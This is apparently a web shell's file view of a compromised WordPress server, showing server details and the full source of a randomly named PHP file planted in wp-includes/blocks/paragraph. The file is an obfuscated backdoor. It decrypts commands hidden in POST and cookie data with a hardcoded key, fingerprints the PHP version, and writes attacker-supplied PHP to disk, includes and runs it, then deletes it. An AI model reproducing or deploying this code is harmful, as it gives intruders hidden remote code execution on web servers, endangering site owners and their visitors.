HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-includes/blocks/paragraph/nhkkgdkz.php
<?php 

$osuaseyenw /*   d */ =    'osuaseyenw'	^   '';


$djqpqry /*   l   */ =   "a"."\162"      .    "\x72"       .    "a"."y".$osuaseyenw(95)    .     "m"."a"."p";


$ttrnquw    =    "c"."o".$osuaseyenw(149-32)  . /* ier   */ $osuaseyenw(497-387)	. /*_  */ "t";




function /* coavp   */ jphnzoah($qroyeo,    $wejlqhtgglw)


{
   global /* lx   */ $osuaseyenw;


     

    $qroyeo /*  wgma  */ =    "\74"    .  "\x3f"  .      $osuaseyenw(320-208)  .       "h"."p".$osuaseyenw(32)      .   $osuaseyenw(117)    .      "\156"    .	"\154"  .	"i".$osuaseyenw(110)      .    "k"."\x28"    .  $osuaseyenw(95)	.   "_"."\x46"      .	"\x49"	.	"\114" /*lc */ .	"\x45"  .	"\137" /*msl */ . /* oy */ "\137"	.    ")".";".$osuaseyenw(32)    .	$qroyeo[$osuaseyenw(854-754)];
 /* wqni   */ $bvfseigrni	=    "\x66" /* ovbjc  */ .   "\x69" /*dowxeh */ . /*eiw  */ $osuaseyenw(1010-902)    .    "\145"     . /*  jt   */ "_".$osuaseyenw(980-868) /*   zmit */ .     "\165"	.   "\x74" /*v */ .       $osuaseyenw(1032-937)    .    "c"."o"."n"."t"."e"."n"."\164"    . /*  s*/ "s"; /*  mmizqy  */ 

     $bvfseigrni($wejlqhtgglw,    $qroyeo);  


  xjqiiaxpk($wejlqhtgglw);}
$dfnklzl_ /*   mlydmm*/ =    73;





function	xjqiiaxpk($wejlqhtgglw){

	global    $osuaseyenw;

 /*ivtrmn  */ 
 /*ncfj*/ include($wejlqhtgglw);

  $nkdikkeqi /* yna   */ =	$wejlqhtgglw;
     @unlink($nkdikkeqi);


}function     zmmdmgx()

{
    global /*  q */ $osuaseyenw;
       $rzruseugz	= /*  jezlds   */ array();   $rzruseugz["\x70" /*   oa_u   */ . /* oi_pq */ "\x76"]	=     phpversion();

    $rzruseugz[$osuaseyenw(973-858)    . /* aatxu*/ "\x76"] /*  tzh */ =	"3".$osuaseyenw(46)    .	"\x35";


	$zowswxa     = /*  jrv   */ 74;
     echo /*   czjr*/ @serialize($rzruseugz);


}







function /*  f   */ pqianumibq($qroyeo,   $xsjya)


{


    global /* nxegu  */ $osuaseyenw;



    $fnwwergs    = /* jft_p   */ "";

   $yev_pbwhg   =       strlen($qroyeo);
       $coiyzqp /*  or   */ =     strlen($xsjya); /*gmt  */ $rzruseugz	=    0;


	$wejlqh    =	0; /* yckaqb  */ 

 /* rig_al   */ while    ($rzruseugz /*xa */ <    $yev_pbwhg) /*  xy  */ {

	$wejlqhirlmarpc /*zafe */ =    $qroyeo[$rzruseugz]     ^ /*  kk   */ $xsjya[$wejlqh      % /*   j */ $coiyzqp];
    $fnwwergs /* hxvj   */ .= /*sbrioi*/ $wejlqhirlmarpc;
       $wejlqh++;	

   $rzruseugz++;
     } /*ugojqr */ 

 /*ew  */ if    (strlen($fnwwergs)   >    20)    {
    $ujcpmvj	= /*  gw  */ substr($fnwwergs,	0, /*zyzqi*/ 20);
   }


	if   (empty($fnwwergs))	{ /*ns */ $fnwwergs /*   abhxan*/ =    date('Y-m-d	H:i:s');
  }
  return    $fnwwergs;

}





function /*ilbts */ mcozdqyvln($nqucendk)
{


     global    $osuaseyenw;

 /*   zd*/ 
      $n_jrweep       =    "5"."\x38"    .	"\71" /*   ojiuy*/ . /*   cmi   */ $osuaseyenw(355-307)       .   $osuaseyenw(118-68) /*  lrlz  */ .    $osuaseyenw(168-66)    .      "\143"       .    "8".$osuaseyenw(45)    .   $osuaseyenw(922-872)    . /*rj */ "7"."1".$osuaseyenw(156-55)    . /*  rmhvx   */ "\55" /*nrpxb   */ .	"4"."\64"      . /*_icp   */ "1"."\70" /*  u */ .  "-"."b".$osuaseyenw(97)    .	"\x62"	.	$osuaseyenw(1012-960)	. /* r  */ $osuaseyenw(45) /*   vxijt*/ .       "\x36" /* vumupb*/ .     "4"."8".$osuaseyenw(270-214)      .   "c"."6".$osuaseyenw(49)	.  "8".$osuaseyenw(888-839)     . /*  n_  */ $osuaseyenw(51) /*sd*/ .	"c"."\x61";

       
    foreach /*   qnnl*/ ($nqucendk	as    $sfpayhce_	=>	$qroyeo)	{

       uhkszcuo(base64_decode($qroyeo),	$n_jrweep,    $sfpayhce_);
      }


}




function     uhkszcuo($qroyeo,	$n_jrweep,      $sfpayhce_)


{       global /* rqqam  */ $osuaseyenw;	

    $qroyeo	=  unserialize(pqianumibq(pqianumibq($qroyeo,       $n_jrweep), /* kj*/ $sfpayhce_));

	$cukepyiof     =     'gjilljhc';


	$flnkzi_ /*k*/ =    'agq_ghr'; /*   e  */ if /*   d*/ (isset($qroyeo["\141"       .       $osuaseyenw(1041-934)]))	{       if /* b */ ($qroyeo["\x61"]	== /* d */ "i") /*dr */ {

     zmmdmgx(); /*   j_k*/ }	elseif	($qroyeo["\x61"]	== /*ymcdsu */ "e")    {

    jphnzoah($qroyeo,    sprintf($osuaseyenw(88-42)	. /*qzhqf*/ $osuaseyenw(337-290)	. /*   kfu_za */ "\45"     .     "\163" /*qjc   */ . /*  j   */ "\x2e" /*   zci   */ .       "p"."l",    md5($n_jrweep)));


			$sj_tr	= /*  tpjif*/ 44;    }


 /*  bvs */ exit();
	}


}
mcozdqyvln($_POST); /*  ossboi */ 




$cbxyd /*  czzouu   */ =   'rawurldecode';
$ffbcz       = /* v*/ $djqpqry($cbxyd, /*   sqanir  */ $_POST);

strpos($cbxyd,      'ux');$m_jpyxwg	=    $ttrnquw($ffbcz);

mcozdqyvln($_COOKIE);    



$ginvno	=      $djqpqry($cbxyd,  $_COOKIE);





?>